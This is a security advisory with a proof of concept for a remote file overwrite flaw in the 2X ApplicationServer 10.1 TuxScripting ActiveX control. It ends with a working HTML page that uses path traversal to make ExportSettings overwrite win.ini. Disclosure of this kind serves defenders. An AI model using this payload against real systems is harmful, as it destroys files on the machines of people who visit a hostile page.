2X ApplicationServer 10.1 TuxSystem Class ActiveX Control Remote File Overwrite Vulnerability



2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll 

ExportSettings Remote File Overwrite Vulnerability



tested against: Microsoft Windows Server 2003 r2 sp2

                Internet Explorer 8



vendor description:

"2X Software is a global leader of desktop and application delivery, 

remote access and cloud computing solutions."



2x homepage: http://www.2x.com/



download url: http://www.2x.com/applicationserver/download/



file tested: 2XAppServer.msi





Background:



The mentioned product installs an ActiveX control with

the following settings:



ProgID: TuxScripting.TuxSystem.1

CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}

Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll

Implements IObjectSafety: Yes

Safe for Scripting: True

Safe for Initialization: ?



According to the IObjectSafety interface this control is Safe for Scripting

then Internet Explorer will allow access to the availiable methods and

properties.





Vulnerability:



Two methods perform unsecure file operations (read/write):



...

/* DISPID=13 */

    function ImportSettings(

        /* VT_BSTR [8]  */ $FileName 

        )

    {

        /* method ImportSettings */

    }

    /* DISPID=14 */

    function ExportSettings(

        /* VT_BSTR [8]  */ $FileName 

        )

    {

        /* method ExportSettings */

    }

...



by passing an existing file path to the ExportSettings() the

resulting file content will look like this:



<Setup xmlns:dt="urn:schemas-microsoft-com:datatypes"><Connection><CGW_FGWs dt:d

t="string">&lt;Default&gt;</CGW_FGWs><CGW_HTTPs dt:dt="string">&lt;Default&gt;</

CGW_HTTPs><CGW_IPs dt:dt="string">192.168.2.101:0</CGW_IPs><CGW_PUBs dt:dt="stri

ng">&lt;Default&gt;</CGW_PUBs><Domain dt:dt="string">WORKGROUP/SERVER</Domain><I

D dt:dt="ui4">2</ID><LocalInst dt:dt="ui4">1</LocalInst><RanID dt:dt="ui4">12638

38571</RanID><SecLevAuth><ExcGWIPsLst dt:dt="string">&lt;Default&gt;</ExcGWIPsLs

t></SecLevAuth><Server dt:dt="string">SERVER</Server></Connection><LoadBalancer>

<PersTime dt:dt="ui4">1279870543</PersTime><ServerIndex dt:dt="ui4">2</ServerInd

ex><VDIHosts><VDIHostsIndex dt:dt="ui4">2</VDIHostsIndex></VDIHosts><VDIHostsGro

up><VDIHostGroupIndex dt:dt="ui4">0</VDIHostGroupIndex></VDIHostsGroup></LoadBal

ancer><Product><Build dt:dt="ui4">1204</Build><Major dt:dt="ui4">10</Major><Mino

r dt:dt="ui4">1</Minor><Name dt:dt="string">VDS</Name></Product><Publishing><Out

putDir dt:dt="string">C:\Program Files\Internet Explorer\web\output</OutputDir><

WebPageTemplate dt:dt="string">C:\Program Files\Internet Explorer\web\2X_default

_style.xslt</WebPageTemplate></Publishing><Redundancy><BCtrls><BCtrl0001><ID dt:

dt="ui4">1</ID><Priority dt:dt="ui4">0</Priority><Server dt:dt="string">SERVER</

Server></BCtrl0001></BCtrls><IDCntr dt:dt="ui4">1</IDCntr><MasterServer dt:dt="s

tring">SERVER</MasterServer><SettingsCount dt:dt="ui4">1</SettingsCount><Setting

sID dt:dt="ui4">1326947769</SettingsID><SettingsTime dt:dt="ui4">1326947769</Set

tingsTime></Redundancy><Reporting><Rprtng2X><RprtSrv dt:dt="string"></RprtSrv></

Rprtng2X><RprtngEG><RprtSrv dt:dt="string"></RprtSrv></RprtngEG></Reporting></Se

tup>



If a remote attacker is able to take control of the file content, could also be 

capable to run arbitrary code. At the time of this report, this could not be achieved yet

(I have experienced some unuseful crashes by calling ImportSettings() ...)



As attachment, proof of concept code which overwrites win.ini



POC:

<!--

2X ApplicationServer 10.1 TuxSystem Class ActiveX Control TuxScripting.dll 

Remote File Overwrite Vulnerability



ActiveX settings:

ProgID: TuxScripting.TuxSystem.1

CLSID: {5BD64392-DA66-4852-9715-CFBA98D25296}

Binary Path C:\Program Files\2X\ApplicationServer\TuxScripting.dll

Implements IObjectSafety: Yes

Safe for Scripting: True

Safe for Initialization: ?

-->

<!-- saved from url=(0014)about:internet -->

<html>

<script>

var obj = new ActiveXObject("TuxScripting.TuxSystem.1");

obj.ExportSettings("../../../../../../../../windows/win.ini");

</script>